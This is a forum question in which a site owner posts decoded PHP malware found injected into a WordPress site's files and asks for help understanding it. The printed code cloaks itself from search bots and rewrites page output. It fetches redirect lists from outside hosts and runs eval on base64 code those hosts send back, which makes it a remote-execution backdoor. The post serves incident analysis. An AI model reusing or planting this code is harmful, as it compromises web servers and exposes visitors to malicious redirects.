title: What exactly does this PHP exploit code (found on my app)?
body: <p>I've found this code in base 64 on all php files of one of my client's site (wordpress) and I'm trying to understand what it does.</p>
  
  <p>I'm also trying to figure out if it was an application exploit or a direct FTP access that has past this code.</p>
  
  <p>Everything starts with <code>setup_globals_777()</code> and <code>ob_start('mrobh')</code> setting the callback to the <code>mrobh($content)</code> function. </p>
  
  <p>Then there are a call to <code>gzdecodeit ($decode)</code> where the hassle starts out.</p>
  
  <p>It seems like it gets the page content and change it. Now I'm trying to detect the specific changes and understand all functions, including the second one <code>gzdecodeit()</code>.</p>
  
  <p>Can someone shed some light on it?</p>
  
  <p><strong>The calls</strong></p>
  
  <pre><code>setup_globals_777();
  ob_start('mrobh');
  // Here the application code and html output starts out
  </code></pre>
  
  <p><strong>The callback:</strong></p>
  
  <pre><code>function mrobh ($content)
  {
      @Header('Content-Encoding: none');
      $decoded_content = gzdecodeit($content);
      if (preg_match('/\&lt;\/body/si', $decoded_content)) {
          return preg_replace('/(\&lt;\/body[^\&gt;]*\&gt;)/si', gml_777() . "\n" . '$1',
                              $decoded_content);
      } else {
          return $decoded_content . gml_777();
      }
  }
  </code></pre>
  
  <p><strong>The setup function (understandable)</strong></p>
  
  <pre><code>function setup_globals_777 ()
  {
      $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
      $mz = "/tmp/";
      if (! is_dir($rz)) {
          @mkdir($rz);
          if (is_dir($rz)) {
              $mz = $rz;
          } else {
              $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
              if (! is_dir($rz)) {
                  @mkdir($rz);
                  if (is_dir($rz)) {
                      $mz = $rz;
                  }
              } else {
                  $mz = $rz;
              }
          }
      } else {
          $mz = $rz;
      }
      $bot = 0;
      $ua = $_SERVER['HTTP_USER_AGENT'];
      if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
          $bot = 1;
      if (stristr($ua, "bingbot") || stristr($ua, "google"))
          $bot = 1;
      $msie = 0;
      if (is_msie_777($ua))
          $msie = 1;
      $mac = 0;
      if (is_mac_777($ua))
          $mac = 1;
      if (($msie == 0) &amp;&amp; ($mac == 0))
          $bot = 1;
      global $_SERVER;
      $_SERVER['s_p1'] = $mz;
      $_SERVER['s_b1'] = $bot;
      $_SERVER['s_t1'] = 1200;
      $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
      $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&amp;p=" .
       urlencode($_SERVER["PHP_SELF"]) . "&amp;a=" .
       urlencode($_SERVER["HTTP_USER_AGENT"]);
      $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
      $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
      $_SERVER['s_script'] = "mm.php?d=1";
  }
  </code></pre>
  
  <p><strong>The first function called after the callback execution:</strong></p>
  
  <blockquote>
    <p>Here is where the magic happens. I can't see the calls for the other
    available functions  and understand what this function is actually
    decoding, since the <code>$decode</code> var is the application output grabbed by
    the <code>ob_start()</code></p>
  </blockquote>
  
  <pre><code>function gzdecodeit ($decode)
  {
      $t = @ord(@substr($decode, 3, 1));
      $start = 10;
      $v = 0;
      if ($t &amp; 4) {
          $str = @unpack('v', substr($decode, 10, 2));
          $str = $str[1];
          $start += 2 + $str;
      }
      if ($t &amp; 8) {
          $start = @strpos($decode, chr(0), $start) + 1;
      }
      if ($t &amp; 16) {
          $start = @strpos($decode, chr(0), $start) + 1;
      }
      if ($t &amp; 2) {
          $start += 2;
      }
      $ret = @gzinflate(@substr($decode, $start));
      if ($ret === FALSE) {
          $ret = $decode;
      }
      return $ret;
  }
  </code></pre>
  
  <p><strong>All the available functions (after a <code>base64_decode()</code>):</strong></p>
  
  <pre><code>&lt;?php
  if (function_exists('ob_start') &amp;&amp; ! isset($_SERVER['mr_no'])) {
      $_SERVER['mr_no'] = 1;
      if (! function_exists('mrobh')) {
          function get_tds_777 ($url)
          {
              $content = "";
              $content = @trycurl_777($url);
              if ($content !== false)
                  return $content;
              $content = @tryfile_777($url);
              if ($content !== false)
                  return $content;
              $content = @tryfopen_777($url);
              if ($content !== false)
                  return $content;
              $content = @tryfsockopen_777($url);
              if ($content !== false)
                  return $content;
              $content = @trysocket_777($url);
              if ($content !== false)
                  return $content;
              return '';
          }
          function trycurl_777 ($url)
          {
              if (function_exists('curl_init') === false)
                  return false;
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
              curl_setopt($ch, CURLOPT_TIMEOUT, 5);
              curl_setopt($ch, CURLOPT_HEADER, 0);
              $result = curl_exec($ch);
              curl_close($ch);
              if ($result == "")
                  return false;
              return $result;
          }
          function tryfile_777 ($url)
          {
              if (function_exists('file') === false)
                  return false;
              $inc = @file($url);
              $buf = @implode('', $inc);
              if ($buf == "")
                  return false;
              return $buf;
          }
          function tryfopen_777 ($url)
          {
              if (function_exists('fopen') === false)
                  return false;
              $buf = '';
              $f = @fopen($url, 'r');
              if ($f) {
                  while (! feof($f)) {
                      $buf .= fread($f, 10000);
                  }
                  fclose($f);
              } else
                  return false;
              if ($buf == "")
                  return false;
              return $buf;
          }
          function tryfsockopen_777 ($url)
          {
              if (function_exists('fsockopen') === false)
                  return false;
              $p = @parse_url($url);
              $host = $p['host'];
              $uri = $p['path'] . '?' . $p['query'];
              $f = @fsockopen($host, 80, $errno, $errstr, 30);
              if (! $f)
                  return false;
              $request = "GET $uri HTTP/1.0\n";
              $request .= "Host: $host\n\n";
              fwrite($f, $request);
              $buf = '';
              while (! feof($f)) {
                  $buf .= fread($f, 10000);
              }
              fclose($f);
              if ($buf == "")
                  return false;
              list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
              $buf);
              return $buf;
          }
          function trysocket_777 ($url)
          {
              if (function_exists('socket_create') === false)
                  return false;
              $p = @parse_url($url);
              $host = $p['host'];
              $uri = $p['path'] . '?' . $p['query'];
              $ip1 = @gethostbyname($host);
              $ip2 = @long2ip(@ip2long($ip1));
              if ($ip1 != $ip2)
                  return false;
              $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
              if (! @socket_connect($sock, $ip1, 80)) {
                  @socket_close($sock);
                  return false;
              }
              $request = "GET $uri HTTP/1.0\n";
              $request .= "Host: $host\n\n";
              socket_write($sock, $request);
              $buf = '';
              while ($t = socket_read($sock, 10000)) {
                  $buf .= $t;
              }
              @socket_close($sock);
              if ($buf == "")
                  return false;
              list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
              $buf);
              return $buf;
          }
          function update_tds_file_777 ($tdsfile)
          {
              $actual1 = $_SERVER['s_a1'];
              $actual2 = $_SERVER['s_a2'];
              $val = get_tds_777($actual1);
              if ($val == "")
                  $val = get_tds_777($actual2);
              $f = @fopen($tdsfile, "w");
              if ($f) {
                  @fwrite($f, $val);
                  @fclose($f);
              }
              if (strstr($val, "|||CODE|||")) {
                  list ($val, $code) = explode("|||CODE|||", $val);
                  eval(base64_decode($code));
              }
              return $val;
          }
          function get_actual_tds_777 ()
          {
              $defaultdomain = $_SERVER['s_d1'];
              $dir = $_SERVER['s_p1'];
              $tdsfile = $dir . "log1.txt";
              if (@file_exists($tdsfile)) {
                  $mtime = @filemtime($tdsfile);
                  $ctime = time() - $mtime;
                  if ($ctime &gt; $_SERVER['s_t1']) {
                      $content = update_tds_file_777($tdsfile);
                  } else {
                      $content = @file_get_contents($tdsfile);
                  }
              } else {
                  $content = update_tds_file_777($tdsfile);
              }
              $tds = @explode("\n", $content);
              $c = @count($tds) + 0;
              $url = $defaultdomain;
              if ($c &gt; 1) {
                  $url = trim($tds[mt_rand(0, $c - 2)]);
              }
              return $url;
          }
          function is_mac_777 ($ua)
          {
              $mac = 0;
              if (stristr($ua, "mac") || stristr($ua, "safari"))
                  if ((! stristr($ua, "windows")) &amp;&amp; (! stristr($ua, "iphone")))
                      $mac = 1;
              return $mac;
          }
          function is_msie_777 ($ua)
          {
              $msie = 0;
              if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
               stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                  $msie = 1;
              return $msie;
          }
          function setup_globals_777 ()
          {
              $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
              $mz = "/tmp/";
              if (! is_dir($rz)) {
                  @mkdir($rz);
                  if (is_dir($rz)) {
                      $mz = $rz;
                  } else {
                      $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                      if (! is_dir($rz)) {
                          @mkdir($rz);
                          if (is_dir($rz)) {
                              $mz = $rz;
                          }
                      } else {
                          $mz = $rz;
                      }
                  }
              } else {
                  $mz = $rz;
              }
              $bot = 0;
              $ua = $_SERVER['HTTP_USER_AGENT'];
              if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                  $bot = 1;
              if (stristr($ua, "bingbot") || stristr($ua, "google"))
                  $bot = 1;
              $msie = 0;
              if (is_msie_777($ua))
                  $msie = 1;
              $mac = 0;
              if (is_mac_777($ua))
                  $mac = 1;
              if (($msie == 0) &amp;&amp; ($mac == 0))
                  $bot = 1;
              global $_SERVER;
              $_SERVER['s_p1'] = $mz;
              $_SERVER['s_b1'] = $bot;
              $_SERVER['s_t1'] = 1200;
              $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
              $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&amp;p=" .
               urlencode($_SERVER["PHP_SELF"]) . "&amp;a=" .
               urlencode($_SERVER["HTTP_USER_AGENT"]);
              $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
              $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
              $_SERVER['s_script'] = "mm.php?d=1";
          }
  
  
          if (! function_exists('gml_777')) {
              function gml_777 ()
              {
                  $r_string_777 = '';
                  if ($_SERVER['s_b1'] == 0)
                      $r_string_777 = '';
                  return $r_string_777;
              }
          }
          if (! function_exists('gzdecodeit')) {
              function gzdecodeit ($decode)
              {
                  $t = @ord(@substr($decode, 3, 1));
                  $start = 10;
                  $v = 0;
                  if ($t &amp; 4) {
                      $str = @unpack('v', substr($decode, 10, 2));
                      $str = $str[1];
                      $start += 2 + $str;
                  }
                  if ($t &amp; 8) {
                      $start = @strpos($decode, chr(0), $start) + 1;
                  }
                  if ($t &amp; 16) {
                      $start = @strpos($decode, chr(0), $start) + 1;
                  }
                  if ($t &amp; 2) {
                      $start += 2;
                  }
                  $ret = @gzinflate(@substr($decode, $start));
                  if ($ret === FALSE) {
                      $ret = $decode;
                  }
                  return $ret;
              }
          }
          function mrobh ($content)
          {
              @Header('Content-Encoding: none');
              $decoded_content = gzdecodeit($content);
              if (preg_match('/\&lt;\/body/si', $decoded_content)) {
                  return preg_replace('/(\&lt;\/body[^\&gt;]*\&gt;)/si', 
                  gml_777() . "\n" . '$1', $decoded_content);
              } else {
                  return $decoded_content . gml_777();
              }
          }
  
      }
  }
  </code></pre>